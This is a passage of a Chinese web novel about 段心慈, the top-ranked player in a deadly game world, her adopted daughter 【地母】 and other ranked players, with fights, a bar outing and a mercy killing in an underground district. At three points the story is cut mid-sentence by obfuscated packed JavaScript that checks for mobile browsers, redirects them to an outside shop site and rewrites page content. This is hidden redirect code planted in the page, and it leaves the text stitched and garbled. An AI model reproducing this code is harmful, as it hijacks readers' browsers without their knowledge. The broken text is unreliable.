艾里门的心脏战栗着跳动。 不知不觉中,一团湿润的泥巴被放进她手里。段心慈凭着自己对孩子的刻板印象从系统商城里买了一坨最贵的泥巴。 系统刻板的播报让女孩头脑有片刻宕机—— 【玩家段心慈交易玩家艾里门·歌德:SSS级道具*生长之壌】 【交易方式:赠送】 艾里门不是傻子,她当然看得出此举的潜在台词。 正因如此她才觉得恍惚。 一条安逸坦途,就这样轻而易举地摆在她眼前。 是不是陷阱都不再重要,她必须抓住唯一生存的可能,就算鲜血淋漓也绝不放手。 ‘只是那时不曾想过……’ 青年从回忆里挣脱,将变成死老鼠的BOSS扔到一旁:“…给我金币。” 她决定继续激怒段心慈,努力使自己看起来很嚣张,不把首席放在眼里的败家子形象。 暗处观察的玩家,无不倒吸一口凉气。 有玩家期待【地母】血溅当场,还有玩家期待两者之间发生冲突…但…… 【玩家段心慈赠予玩家艾里门·歌德五千万金币,请玩家艾里门·歌德注意查收】 在段心慈眼里,艾里门提出的要求都很正常。 毕竟决定把这个孩子拉扯大之前就应该做好她不是什么善茬的准备。 艾里门·歌德的挑衅毫无成效。 段心慈手插在兜里,耐心解释:“再多金币就没有了。我刚回来,也要过日子。” 艾里门·歌德呐呐:“……好的。” ‘段心慈,你这样显得我很不礼貌。’ 逼迫家境贫困的养母,目中无人的败家养子形象跃然纸上。 就在这时,一柄黄金权杖在空中轮转着带着强悍的力道径直砸向段心慈的头颅。 任何人都明白这一击,足以使一头3S级别的怪物当场砸成一滩肉泥。 青年面上不见半分慌张,反倒有些玩味:“【主教】,好久不见。” 代号十里只有活下去的生命才具有交流价值。 TOP.2【主教】知道这一点,因此并未回应。 段心慈单手制住这柄黄金权杖,动作甚至算得上轻飘飘,那双阴翳的眼珠凝视着【主教】,语气调侃:“这就是你见TOP的礼数?” 离她最近的艾里门眼尖地注意到,这人接下权杖时胳膊上的肌肉甚至没什么起伏。 她默默往段心慈身后退一步。 【主教】她拼尽全力也不是打不过,最坏也不过是同归于尽的下场。 但轻易接下【主教】全力一击的段心慈她肯定打不过。 ‘抱歉了【屠夫】,希望你还没有提交不正确的情报。’ 【地母】艾里门·歌德的立场转变之快令人咂舌。 注意到这一幕的穆格罗默默抱紧手里的屠刀:“……” ‘【地母】你真的很善变。’ 事情并没有就此结束,段心慈接下来的动作可谓让【主教】目眦欲裂。 他冲上前试图极力阻拦对方的行为,但显然速度太慢。 黄金的权杖被轻易扭成麻花,上面的黑曜石化作齑粉,风一吹就彻底消失。 段心慈反手将麻花一样的权杖插进【主教】的肩胛骨,就像把蜡烛插进生日蛋糕一样轻松写意。 黄金手杖诚然威力强大,但说到底对自己的主人伤害有限,段心慈此举不啻用牙签捅穿钢板。 无论是现场的人还是正在观看直播的人都感到窒息一样的沉默。 位列TOP.2的【主教】,一直以来是不少人的阴影。 以他为首建立的【极夜殿堂】,代号十内除了时间外,明面上唯一的信仰。 殿堂的教众在外更是横行霸道,四处敛财,变态丛生——以折磨每一个落入他们手中的人为乐。 但现在【主教】就这么被轻而易举地捅了个对穿? 说到底一年过去,他们当中不少玩家已经忘记当初对TOP.1的恐惧。 到不是真的那么健忘,只是在代号十里活着的恐惧才是恐惧。 至于下落不明的那不叫恐惧,叫饭后闲谈。 “那柄真正的黑曜石权杖应该还放在你们的大殿中央吧?怎么会指望一个假货能置我于死地。” 段心慈话语间带着无尽杀欲与戏谑,那双晦暗阴沉的眼瞳看向【主教】。 后者不自觉地感到难以自制的恐惧。 “或许你会认识斯格威尔?那团烂肉。” ‘收拾残局的时候是见过了。’ 一滴冷汗自后颈滑落,【主教】深知此时他最好保持沉默:“……” “当年极夜堂的债务,我会亲自去讨。但没想过你这样——” “忠心耿耿、迫不及待。” 段心慈嗓音压得很低,几乎像是低沉的咆哮:“【主教】,上千年了。代号十的走卒更名改姓,活得开心吗?” 活得开心吗? 这句话就像一个响亮的耳光抽在【主教】的面皮上,将他竭力维护的光鲜亮丽,如同权杖上劣质的黑曜石被彻底粉碎。 问出这句话当然也不是她想听【主教】痛哭流涕的后悔感言,只是一句宣告。 宣告【极夜殿堂】即将到来的破灭。仅此而已。 最初进入代号十时,段心慈对【极夜殿堂】仅有一个横行教会的印象,他们之间只拥有最寻常的利益矛盾。 直到她失去记忆,进入被代号十近乎完全同化为副本的#07星际世界,也就是两千年后的家乡。 它混乱,暴动,腐败。被阴谋笼罩。 段心慈凭着微末的战争直觉与最原始的杀戮本能活在其中,以一己之力举起一个世界。 她成功了。 随后便被代号十重新召回。 现在想来,代号十对#07秩序型星际世界的图谋与改造,要追溯到太久太久之前。 久到寰宇尚未出现,龙鳞汇尚未创立。 想要把她的战利品同化成副本?代号十就要做好断手的准备。 那种野兽一样对领地的占有与控制欲又在心底作祟,显然段心慈没有想改的意思。 艾里门·歌德看出段心慈的意图,她颇为兴高采烈地从背包里抽出一副黑色手套。 说实话她不理解,明明段心慈每次都会把自己搞得一身血,但仍旧热衷于戴手套干这档子事。 但这不防碍她喜欢看。 段心慈动作自然比无比地接过艾里门递过来的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我有时候会怀疑,段心慈真的还……活着吗?” 她右手无序地晃动着酒杯。 酒吧昏黄的灯光打在厄洛诺斯水汽泡沫般的淡蓝卷发上。发丝遮盖了她的大半张面孔,几缕玫粉与浅橙色的挑染为那张如雾似幻的面庞增添些许瑰丽。 卡利安·尤菲摩挲着冰凉饮料铝罐的指尖微顿:“……我们都死了。” “…我不是说肉身……卡利安。” 忒尼斯·厄洛诺斯感到烦躁,头顶宽大的浅蓝狐狸竖耳无意识地向两侧转了转。 “她的灵魂……”好像死了。 “我从来没见过有谁演出剧场比睡觉还勤……” 之所以没有提到其余生理需求是因为他们早就进化掉了通过进食、晒太阳、呼吸等补充能量的环节,但仍然需要睡眠来安抚大脑。 “除了,段心慈。” 【虔诚者】敏锐地注意到,说话的时刻【织觉人】左手有意识地抚过自己的脖颈。 他下意识抬头‘看’去,寒意顺着脊梁爬上后颈:在那里横着一道几乎横向贯穿了她整个脖颈,无比狰狞丑陋的伤疤。 疤痕被粗糙地缝合,甚至黑色的缝线都没有拆掉,就那样与皮肉交错着野蛮长在一起。 它完完全全地破坏了【织觉人】那张脸朦胧的美感。 任谁看见都只觉得恐怖。 也就是从那一天起,卡利安记住了段心慈。 这个已经消失大半年却依旧稳稳屹立于玩家榜单TOP.1,将位列玩家榜第二名【主教】狠狠甩在身后的杀戮传奇。 能够从时间主神那里获得【神的怨、憎、恶】这种称号的……疯子。 现在,他亲眼见到了。 “都躲躲藏藏地干什么?” 段心慈抬头环视一圈:“杀戮场还要继续不是吗?” 率先露面的是TOP.3【织觉人】。 忒尼斯·厄洛诺斯站起身时,三米有余的庞大身躯使她看起来犹如某种从深渊中走出的怪物。 从宏伟的腰部起,下半身逐渐呈现半透明蓝薄膜质地——形似伞裙,又像章鱼游曳于深海。 酷似穹顶的薄膜伞裙下伸出八条巨大的蝰蛇。蝰蛇上身直立,头颅高昂的同时争夺起各自的思想。 每行进一步,蛇腹都会重重砸向地面从而发出沉闷的巨响。对实力不足的玩家与副本怪物而言简直与夺命通牒无异。 这就是狐蛇厄洛诺斯家族的现任首领,忒尼斯·厄洛诺斯。 尽管称号是【织觉人】,但狐蛇与‘人’的共同点可能只在于拥有一颗类人的头颅与健壮优美的人类女性上半身。 【虔诚者】卡利安·尤菲见状,也不再隐藏自己的身形。 比起他的利益朋友,显然卡利安更为接近人类形象。 从凝水成冰制造的冰棱幻景中走出,白金色的发丝卷在脸颊两侧,在阳光下犹如散落的日光。 金绣白布蒙住双眼,任何人看到卡利安·尤菲的瞬间都会联想到两个字:圣洁。 但那是在他开口讲话之前。 “好热闹,我猜这里没有碰巧一说。” 卡利安·尤菲准确地将‘目光’投向左侧墙体后方:“你说呢,【屠夫】?” 作为被拖下水的【屠夫】穆格罗可能是在场所有玩家中最倒霉的家伙。 他不想和在场的任何玩家作对。但显然在代号十里:不想和任何玩家作对,约等于任何玩家都会和你作对。 24. 诅咒难解吞噬我 穆格罗从墙体背后走出,足有一人高的屠刀被他抱在怀里。 相较于这把压迫性极强,周身血气萦绕的刀而言,【屠夫】自己的存在感就显得有些不够看。 与其说是人指使刀,不如说是这把刀在吞噬人。 不过没有这把刀,穆格罗也就无法顺利登临TOP.5的席位。他既已做出取舍,其余玩家自然不好评判什么。 “我退出。” 无论是穆格罗,还是穆格罗的屠刀,都没有想和段心慈正面对上的打算。 想保持自己在玩家榜的排名,做出这样明智的选择再正常不过。 高价弃权道具徐徐燃烧,穆格罗身形渐渐淡去。 卡利安站在原地,双手摆弄变幻着湛蓝色的冰晶,好似对方的离场与自身无关。 忒尼斯·厄洛诺斯的棱形竖瞳紧紧盯着段心慈,几乎缩成一道极细的棱形。 艾里门·歌德摆弄着土壤中生长翻滚的树藤,盘算她究竟要破费购买几副手套。 总之……一副不能超过5金币。 这是她预算的极限。 作为风暴中心的青年显然没有这种蓄势待发的觉悟,她还在推算自己接下来的行动计划。 对时间的死亡她已经迫不及待。 与此同时一层阴翳骤然自上空笼罩,黑色的暗影自天穹垂落,同触肢般攀缘游荡的生物蔓延在杀戮秀场的每一寸空间。 久远的记忆被翻出,段心慈记起一场已经履行半数的交易。 卡利安·尤菲收起手中的冰晶,【地母】则将自己的树藤唤回。 狐蛇被迫卸下攻击状态,看向天空低声呢喃:“……【暴食】。” ‘它来凑什么热闹?’ TOP.6【暴食】。 代号十中唯一一个无视等阶,以怪物为食,首秀即为巅峰的玩家。平日以给喜欢的尸体办葬礼为自猫兴趣爱好,并成为不小规模的丧礼业务。 黑猫——T·T-Carro。 忒尼斯收起攻击姿态并非没有原因,毕竟段心慈会做出同样的事。 没人想得罪一只会因为各种原因应激而暴起无差别攻击,并且精通预言与诅咒的猫交恶。 即便是TOP.1也没有这个闲心给自己徒增烦恼。 【等等,老大什么时候进入的杀戮秀?】 【Carro老大还接葬礼业务吗?看看我!】 【TOP.6老大!!呜呜呜……】 【……我说你们这些猫伖,有个限度好吗?】 T.T-Carro的出现打破场上已有的平衡。 “……占卜……” 天空中亮起一对月亮大小的星空紫猫眼,俯瞰着整座杀戮场。 “今日……” “宜杀生……” 闻言场上的玩家心底齐齐松了一口气,宜杀生就好。 就听见T.T-Carro自带回音的触肢断断续续道:“…不宜……” “杀死。” “……?什么叫不宜杀死?” 忒尼斯心中存疑,直接问了出来。 ‘是不宜杀死还是不宜杀死?’ “……不宜、死。” 这回更是让人眩晕的答案。 迟迟没有得到回应的黑猫,声音骤然尖利无比,那些触肢反反复复念着同一句话—— “今、日、不、宜、死!” 忒尼斯·厄洛诺斯噎了噎。 【暴食】还是这副样子,自从那位下落不明……黑猫意识清醒,能有效沟通的时间越来越少。 现在和对方硬碰硬简直是在自讨苦吃。想到这儿,忒尼斯后撤一步,用动作表明自己的立场。 鎏银的星空紫猫眼转向段心慈,显然是在等她表态。 后者两手摊开:“……也没那么着急。” 更早的时候不是没有玩家用什么万能胶布之类的道具封住【暴食】的嘴,但显然T.T-Carro在心里诅咒也具备同样的效果。 封过T.T-Carro嘴的玩家不是死于意外就是死得凄惨,又或者两者兼得。 说到底只要不主动招惹T这只黑猫,以它的性格多半会无视所有。况且段心慈自认她还没有下作到要去封一只猫的嘴巴。 ‘不死?那算什么杀戮秀?’ 显然不论场内场外的玩家都对此存疑。 一对圆月似的猫眼高悬在杀戮秀副本的天穹,俯瞰所有玩家的一举一动。 忒尼斯倍感无聊。 她本以为今天就能和段心慈打上一架,虽然大概率会被打成肉酱。 ‘……虽死犹荣嘛。’ 狐蛇咂咂嘴,显然她的寻死计划被【暴食】作废了。 T.T-Carro虽然只排在第六位,表面上连前五都没进,但它的诅咒足够让所有玩家忌惮。 甚至,连同代号十在内。 和绝大多数玩家不同,【织觉人】忒尼斯·厄洛诺斯是在代号十内出生的。 作为这里唯一的世袭家族,依靠代代传承生存下去的狐蛇,忒尼斯在杀死若干同样在代号十内出声的姐妹兄弟后成功从母亲艾维斯·厄洛诺斯手中接过家族大权。 同时她继承了艾维斯·厄洛诺斯的称号—— 【织觉人】。 狐蛇家族在记忆传承方面有独一无二的优势,正因如此他们才能在代号十内坐拥一席高地。 忒尼斯·厄洛诺斯清楚T.T-Carro的过往:一具由怨恨拼成的残破猫尸。 诅咒不过是另一重……预言。 她在祖辈的记忆中看见,【暴食】酷烈的诅咒,对着那端坐神座,高高在上看不清面容的神明。 “时间!绿赛图斯!祢,不得好死——” 黑猫尖利的咆哮,甚至能在记忆中刺痛忒尼斯的耳膜:“不、得……好死!” 高位上的神明一言不发,甚至连抬眼观赏痛苦的兴致也无。 神殿外,黑猫弓着身子,毛发炸起,根根分明。鲜血从看不清颜色的瞳孔里溢出,淌过眼眶。 狐蛇的祖辈只看到这里,便悄然离场。 无需多言,现在T.T-Carro能活着站在这里已经是自身实力的证明。 忒尼斯·厄洛诺斯无意招惹在触犯神祇后依旧能保下自己性命的【暴食】。 而段心慈仍然记得曾经与T.T-Carro的交易,但现在不是谈及这个的时候。 3S级别的怪物出现。 T秉持着对占卜负责的态度,比山丘还大的猫躯显露。 黑猫皮肉外翻,淋漓鲜血与腐烂肢解同时存在,看久就会产生神智溃败的负面效果。 【暴食】张开利齿是残垣断壁的嘴,3S级怪物甚至没来得及反抗就被黑猫兜头吞入。 他们甚至能清晰地看见怪物从T.T-Carro裸露在外、破烂的喉管里一路崎岖,滑进填满腐蚀性强酸的畸形胃囊。 众位玩家齐齐无言。 【暴食】的进食方式还是这样别具一格、惨不忍睹。 “我们就要坐在这里等秀场结束吗?” 艾里门·歌德盯着地板:“未免也太久。” “确切的说,如果我们无法杀死什么东西,就在这里枯坐。” 忒尼斯·厄洛诺斯思绪放空:“整整一天。” 她朦胧模糊的,如水中上浮氧气的脸转向段心慈:“TOP,你的绝招应该还没有忘记?” 对于忒尼斯前一秒还想和自己杀个你死我活,现在就能转头来问自己寻求帮助的事情,段心慈不难理解。 代号十里就是这样。 结盟与背叛可以发生在瞬息,只要理由充分。 狐蛇点点自己的脑袋,两只过分招摇的淡蓝色狐狸耳朵晃了晃:“我有你想知道的。” 段心慈知道厄洛诺斯家族的传承秘密。但就算忒尼斯不提出来,她也要走了。现在只是多带上几个。 忒尼斯愿意了结人情再好不过。并非偏见,只是她对狐蛇的信誉不抱期望。 长发青年微微抬头,对着天上圆圆的猫眼懒散道:“Carro老大,我们要走了。” “我会跟上的,首席大人。”T.T-Carro回应。 不处在应激状态时,它的情商显然胜过在场所有玩家总和。 “哦~好小猫。” 忒尼斯·厄洛诺斯吹了个不着调的口哨。 意料之中她被口水呛住,八颗蛇头缠在一起咳了个地动山摇。狐蛇用亲身经历体验了T.T-Carro的诅咒无处不在。 正视这一幕的段心慈默默后退半步:“……” 或许有玩家会觉得强制离开秀场是一件花哨,还有些困难,或许还会付出艰难代价的事。 但显然对于玄发青年而言,这件事过于朴实无华、常做常新且十分廉价。 众玩家只是觉得视线一转,再睁眼就已经站在代号十的街区上,周围是来来往往的玩家,骤然看见突然出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509252|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的TOP榜,一时如鸟兽散。 原本熙熙攘攘的大街上瞬间空荡荡地宛如遭了劫掠般。 “好名声~” 忒尼斯虽然一句话把所有玩家,包括她自己一起骂了进去,但看向段心慈的目光明显更调侃。 段心慈无动于衷:“你也不差。” 艾里门却像只被踩了尾巴的猫,怒视忒尼斯:“你看她做什么?!” 狐蛇:“?” 卡利安则倍感疑惑:“真的有这么重要?” T.T-Carro高傲中带着不易察觉的优越:“我名声一向很好。” 这话倒是真的。 如果TOP榜单上一定要论出个代号十里名声最好的,必然是【暴食】T.T-Carro无疑。 身为TOP.1的段心慈当然也受到相当狂热的追逐,只不过这个追逐的方式较为血腥罢了。 “段心慈。” 星空紫猫眼被阴翳笼罩,这是预言,或者说诅咒发动的状态。 “三天后。来我的剧场。” “当初的交易,我会再一次询问。” “至于现在,你应该有更重要的事情要做。” T.T-Carro 说完话后化作一缕紫黑色的诡异液体,裹挟着腐烂的碎块状的躯体离开街道。 段心慈沉默,一言不发。她知道【暴食】说的是什么。 理了理袖口翻折的布料,青年与剩余三人道别,转身向街尾走去。 现下大街上就剩【织觉人】、【地母】与【虔诚者】面面相觑。 “哦…【地母】大人,她又又把你忘记了。”【织觉人】忒尼斯·厄洛诺斯显然是个极为爱挑拨离间的。 “可是她给我转了五千万金币。”【地母】艾里门·歌德丝毫不慌。 忒尼斯·厄洛诺斯噎了噎。 五千万金币,她也想要。 “她显然没把你放在眼里。真可怜。“狐蛇继续蛊惑道。 “可是她给我转了五千万金币。” 艾里门·歌德认真重复,并补充:“就在刚才。” 忒尼斯没话说了。 两个五千万,加起来足足有一亿金币啊……足够普通玩家一辈子都用高级替身道具下剧场副本,睡穿不愁。 “说起来,你这么急于让我背叛TOP……” 艾里门·歌德乘胜追击:“该不会根本没有东西能交易给段心慈吧?” 忒尼斯·厄洛诺斯九颗脑袋齐齐僵硬一瞬:“……怎、么…会、呢?” “你居然敢骗她!你完了。” 艾里门拿出联络面板:“我现在就要告诉段心慈。” “别。” 忒尼斯一把按下艾里门的手腕:“你也不想让你m……呃!” “我是说,TOP.1,树敌太多吧。” 艾里门有些怀疑地看向忒尼斯。 “听我说,我会给TOP一个合理答案的。” 忒尼斯拍了拍艾里门的肩膀:“现在,让我们先去喝一杯,忘记这些不愉快的事。” 听到这句话,卡利安·尤菲面色明显不大好看。 “你是不是要暗杀我?”【地母】戒备后退。 忒尼斯·厄洛诺斯惊讶于艾里门智商渐长:“说实话,确实是想这么干。” “但是既然你已经发现了,那就算了。” 狐蛇劝道:“我们只是去喝一杯,小酌怡情。” 艾里门显然还是有些怀疑:“去哪儿喝?” 卡利安看向忒尼斯,他明显也想知道这个问题的答案。 狐蛇自信:“冬虫夏草。” 艾里门与卡利安难以认同并且感到荒诞:‘哪家好酒馆会起这么个养生的名字?’ 忒尼斯没理会二人脸上不认可的表情,自顾自地滔滔不绝: “往前走七十二米,随后左转三十六米,走进向下的F12号下水管道右转3米后拐入Q77号主干道。” “往上看直到第三口井盖,掀起井盖。正对的博物书店进门右转走到头再左转,第四列第四排桌子顺时针转三圈,再逆时针转五圈。” “靠窗的椅子逆时针旋转九十度,直到正对编号99号书架,沿着书架第三个暗门走进去。” “接着闭上眼手摸右墙转十圈,就能到冬虫夏草。” 这样一长串话说下来,忒尼斯期间甚至没有停顿过半秒。 “就……喝一杯?” 卡利安迷茫了。 25. 时间里旧伤难愈 ‘喝一杯需要这么大阵仗?’ “嗐,看心情。” 忒尼斯的蝰蛇晃晃脑袋。 艾里门:“心情好?” 忒尼斯和她的八头蝰蛇兴致勃勃:“喝一杯。” 艾里门接着问:“心情不好?” 厄洛诺斯被连续问得有些不耐烦,转了转头顶宽大的狐狸竖耳:“那就再喝一杯?没事儿的,我们的肝脏都是摆设不是吗?” TOP.4与No.11均是无言以对。 下水道里围观旁听的玩家:‘……这就是TOP榜的生活吗?偷偷发布在报刊上定能大赚一笔吧!’ 相较于这三位究竟打算喝几杯的话题,段心慈这边的气氛显然和轻快搭不上边。 玄发青年沿街走至一家花店门口,推门而入。 老板看在业绩的份上生生忍住离席的冲动,生硬开口道:“……您好…请问您需要什么呢?” ‘总不至于真是来卖花吧?’ 段心慈环视一圈花店内繁冗的装修,随口答道:“一束花。” ‘还真是卖花?’ 老板扶了扶鼻梁上的金丝眼镜:“要什么花呢?” 她来了兴致,手心向上对着窗边琳琅满目的花架介绍起来:“我们这儿有食肉蠕虫培育的噩梦茉莉还有接触S级怪物皮肤后即刻死亡的血融花。” “都是委托玩家从S级以上剧场里费尽千辛万苦带出来的!” “广受欢迎的还有内脏花苗,肝脏、脾脏,顾客想要的我们都有。心脏类的暂时缺货,但不要紧——” “只要您感兴趣,我可以立刻派人下剧场,带个十株二十株回来TOP大人慢慢挑!” 眼见老板已经从藤椅上站起来,俨然陷入忘我境界,段心慈立刻出言打断—— “我只要最普通的。” “正常的。” 段心慈加重读音:“要快。谢谢。” “……最普通的?” 老板像只被掐住脖子的鸟,缓缓转过脑袋:“有多普通?” 见段心慈的眼神变得不善,她磕磕绊绊地翻箱倒柜起来,嘴里不停嘀咕:“…最普通的、正常……代号十里哪有什么正常货?!” “正常的才是最难找的。” 一把锋利的剪刀抵在老板后心,冰冷的尖锐感让她全身僵硬:“……没记错的话,这是我的园艺剪刀。” 段心慈承认:“是,没有玩家比你更清楚它的锋利。” “……好吧。你要什么?红玫瑰?总是最受欢迎的。” 青年不置可否,园艺剪刀在她指尖悠悠地转着。 老板瑟缩了一下肩膀:“蔷薇?更有个性点儿?茉莉?山茶?向日葵?满天星?……???” 见玄发青年无动于衷,老板有些崩溃地扶了扶鼻梁上的眼镜:“是送别的玩家还是……” 段心慈冷漠:“送人。” ‘……能被TOP送花的一定是个霉鬼。’ 老板腹诽,嘴上却诚实无比地推销道:“送什么人呢?实在不知道的话,送多肉也是可以的哦。” 她从围裙兜里掏出一盆长势喜人的兔耳朵,用衣服边角擦了擦陶盆边缘的泥土后递到青年面前:“很可爱吧哈哈哈!” 段心慈额角跳了跳:“……是朋友。” “哦……朋友。” 花店老板以一种过来人的口吻道:“我懂。朋友。” “满天星?郁金香?这些都适合送给朋友。” 她推销起来:“其实黄玫瑰也不错,不过它有一重表示歉意的寓意,所以我不推荐你……”买。 “黄玫瑰。” 段心慈指了指:“就要这个。” “……那我给您包起来。” 老板变脸的速度和她包花束的动作一样快,不出三秒一束被报纸包好的黄玫瑰就出现在柜台上。 “一共是五百二十万金币,请支付~” 黑白相间的收款条码对向段心慈。 锋利的剪刀尖敲了敲台面,段心慈面无表情地讲价:“…抹个零。” “不是吧,这么避讳…呃!” 说出心里话的老板自知理亏,心虚地往后靠了靠:“……抹、抹、抹多少都是顾客说了算。” ‘越是避讳越是心里有鬼。糟糕,我可真的太好奇了。’ 段心慈:“……^^?” 五百万金币从账号上划走,临走前青年没忘把剪刀重新插回柜台的笔筒里。 花店老板拍着胸口长舒一气。 太可怕了,她差点以为这把剪刀要插进自己的头骨呢。 另一边。 酒馆-冬虫夏草。 “还喝???” 艾里门从纸盒里抽出金黄酥脆的薯条,顺手牵羊地卷走碟子里好大一坨李子酱,并不委婉地拒绝道:“我不喝,你们喝。” 卡利安面无表情地叼着纸吸管,桌上是一罐低酒精饮料。由于眼睛被布条蒙上,无法看出他是不是对此感到不满。 忒尼斯则晃着高脚杯里冒泡的酒水意犹未尽:“侍者,再来一杯!” “侍者,我就不喝了。” 艾里门对赶来倒酒的侍者高声道。 她转向卡利安,低声询问:“【虔诚者】,你还喝吗?” ‘这副迟缓的样子怎么看都不对吧!’ “我……” 卡利安机械地转过头,面对艾里门·歌德他缓缓开口:“再来一杯。” “……?” 艾里门总算明白为什么【织觉人】喜欢拉着【虔诚者】喝酒了。这家伙喝醉后完全进入自动托管模式。 ‘好极了。’ ‘反正不会喝出肝脏病,那就喝!’ 她艾里门·歌德也要喝!才不要学段心慈一样滴酒不沾! “侍者!给我满一杯!”浅棕色风衣的青年喊道。 倒酒的侍者并没有第一时间赶到。 沉重的铁门被推开,一个身披墨灰长款大衣的人影走进酒馆。 一时间在场所有玩家的酒都醒了几分。 不是别人,正是段心慈。 她显然也没有想过会在这里遇到三十分钟前分别的三位,却也没有上前打招呼的想法。 段心慈只是看了棕色眼瞳的青年一眼,艾里门瞬间如坐针毡。 一句‘未成年不能饮酒。’差点从段心慈嘴里脱口而出。 幸运的是她在最终关头想起艾里门·歌德已经成年的事实,将这句不合时宜的话咽了下去。 “玩得开心。” 留下这句话,段心慈不再停留,跟着引路的飞萤消失在拐角处。 艾里门面色僵硬地重新坐下:“……她是不是在警告我?” 忒尼斯·厄洛诺斯无意识地抚上脖颈的缝线,有些犹疑道:“……段心慈不是喜欢阴阳人的类型吧?别多想了。” “她不是。”卡利安·尤菲附和道。 “……呵呵。” 艾里门·歌德报以冷笑。 ‘你们根本不知道段心慈以前嘴到底多毒。’ 棕发青年擦了擦脑门上的薄汗,对赶来倒酒的侍者说:“谢谢,我还是不喝了。” “…好的。” 侍者顺从地躬身退下。 狐蛇不赞同:“你好歹也是TOP.4,怎么这么没骨气。” “你不懂,这和骨气没关系。” 艾里门拿起一根薯条:“这叫尊重懂吗?” “对养育之恩的尊重。” “不懂。” 忒尼斯摇摇头,她这种弑母篡位的狐蛇完全不懂:“你为什么不杀她?” “……咳咳咳!” 艾里门大为震惊,全然忘记自己上午还想着要怎么暗算段心慈的事,理直气壮道:“我为什么要杀她!” “杀死她会给我爆金币吗?不会!只会让我名声狼藉!” “哦。所以是为了金币。”忒尼斯·厄洛诺斯了然地点点头。 “还有名声。”杀死自己所在工会的会长一跃将其取而代之,声名大噪的【虔诚者】卡利安也顺势点点头。 艾里门一噎。 算了,她本来也不想和这两个家伙多说什么。 他们既然识趣地没有问起段心慈为什么来这里,再好不过。 * 红绿蓝三色的飞萤带着段心慈穿过狭窄幽暗的隧道。 “就到这里。” 段心慈停下:“我想,价钱已经支付过了?” 飞萤缓慢地震颤两下翅鞘,于是翅鞘上的笑脸图案变得有些夸张。 “一切照旧?” 飞萤动作迅捷地震颤了两次翅鞘。 段心慈垂目:“下次见。” 飞萤发出细小模糊的尖笑,好似欢喜好似哀泣,一对薄薄的虫翼从翅鞘下方绽开,它像个欢乐的孩童一样飞走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17509253|202926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段心慈站在昏暗的地下街区。 地下街区有另一个名字:垃圾场。 鳞次栉比的低矮房屋,商铺。石砖地面铺满厚厚的油脂,可能是人的,也可能是其他物种的。 倾倒的剧场垃圾:小山似的BOSS尸体上爬满了蛆蝇,各类怪物的尸体堆放在一起和NPC的骨架相互参杂。 当然,还有玩家的,因为各式各样原因死亡,或没死透,残缺不齐的躯体在地面爬行蠕动…… 是代号十自己也不曾投下目光的地下世界。 这里连通着所有的剧场世界,花店老板的那些花就是从这里进入剧场,再从剧场走地下暗道运送至地面贩卖的。 没有管理者,至少明面上没有。 一片混乱。 在这里生存的分化为两个极端:无力支付代号十地上世界最廉价租房的玩家,以及,寻求一些特殊门道的富裕玩家。 段心慈走在满是黏腻油脂的路面上,怀里是一捧盛放的,正常的黄玫瑰。道路的两旁堆满累累尸骨,许多腐烂的玩家,面色麻木地匍匐在地上。 不是所有人都和地面上的那些生灵一样,适应了扭曲,变态,终日看不见希望的剧场生活。 他们的□□无法适应,灵魂无法顺从。因此变成这副乍一看面目狰狞的模样。 “嗬……嗬……” 无力地拉扯从段心慈的裤脚管上传来,她低下头。 一个看不清脸的生物。大面积的腐坏,有很多形状诡异的小眼从他的身上源源不断的长出,睁着眼珠四处乱转。 他活不久,但求生欲还是逼迫着他疯狂地寻找什么来挽救自己流逝的性命。 “……救……嗬,救我…………” 喉咙破了洞,谁也不知道他是怎么活到现在的。 “我救不了你。” 段心慈蹲下身。 那双怪诞诡谲的眼珠和匍匐在地上的生物对视:“如果你想,我可以杀死你。” 满是血污的手从段心慈的裤腿上移开了,溃烂的身体畏缩后退。 他不想死。 他还想活。 段心慈站起身打算离开,却被另一只干枯的手搭在靴面上。 “杀了我。” 一个苍老到不自然的人。 你不能从那张过分缺失水分的,同晒干的卷心菜一样的脸庞上看出什么信息了。 只有绝望,还有赴死的决心。 “大人,杀了我……” 段心慈直视那张脸的主人。 对方因为极度脱水已经看不见任何事物了,只凭着最后一丝微弱的听力和意志开口,祈求死亡到来。 于是段心慈拉起这个人的手,划过自己的面容。 ‘我给予死亡,也应许复仇。’ “现在,睡上一觉。” 干瘪的脖颈骨骼扭断,发出脆响。 形同枯槁的手失去生机,垂落在地面。轻如落叶。 段心慈没有任由这具尸体再躺在街上。 T.T-Carro收到讯息出现在她身旁。 没有说什么抱怨的话,【暴食】寡言地带走尸体,只在离开前用那双紫色星空意味深长地看了段心慈一眼。 “你现在备受折磨了。” 段心慈没有反驳T.T-Carro,也没有赞同它的话:“过后见。” “嗯哼。” 黑猫离开了。 段心慈盯着怀里的黄玫瑰,不知在想什么。 一段崎岖的路。她还是走到了自己的目的地。 她的家门。 她大可以顺理成章地推门而入,而不是费尽心思地像所有陌生访客一样走过这一长串血污泥泞且铺满作呕油脂的路。 段心慈抬起冰冷的手,握住更冷的金属门把。 轻微下压。 她即将面对自己一切一切的错误—— 是她的半身。 也是她的「自我」。 大门发出涩耳的‘吱呀’声,青年跨进那个与外界隔绝的世界。 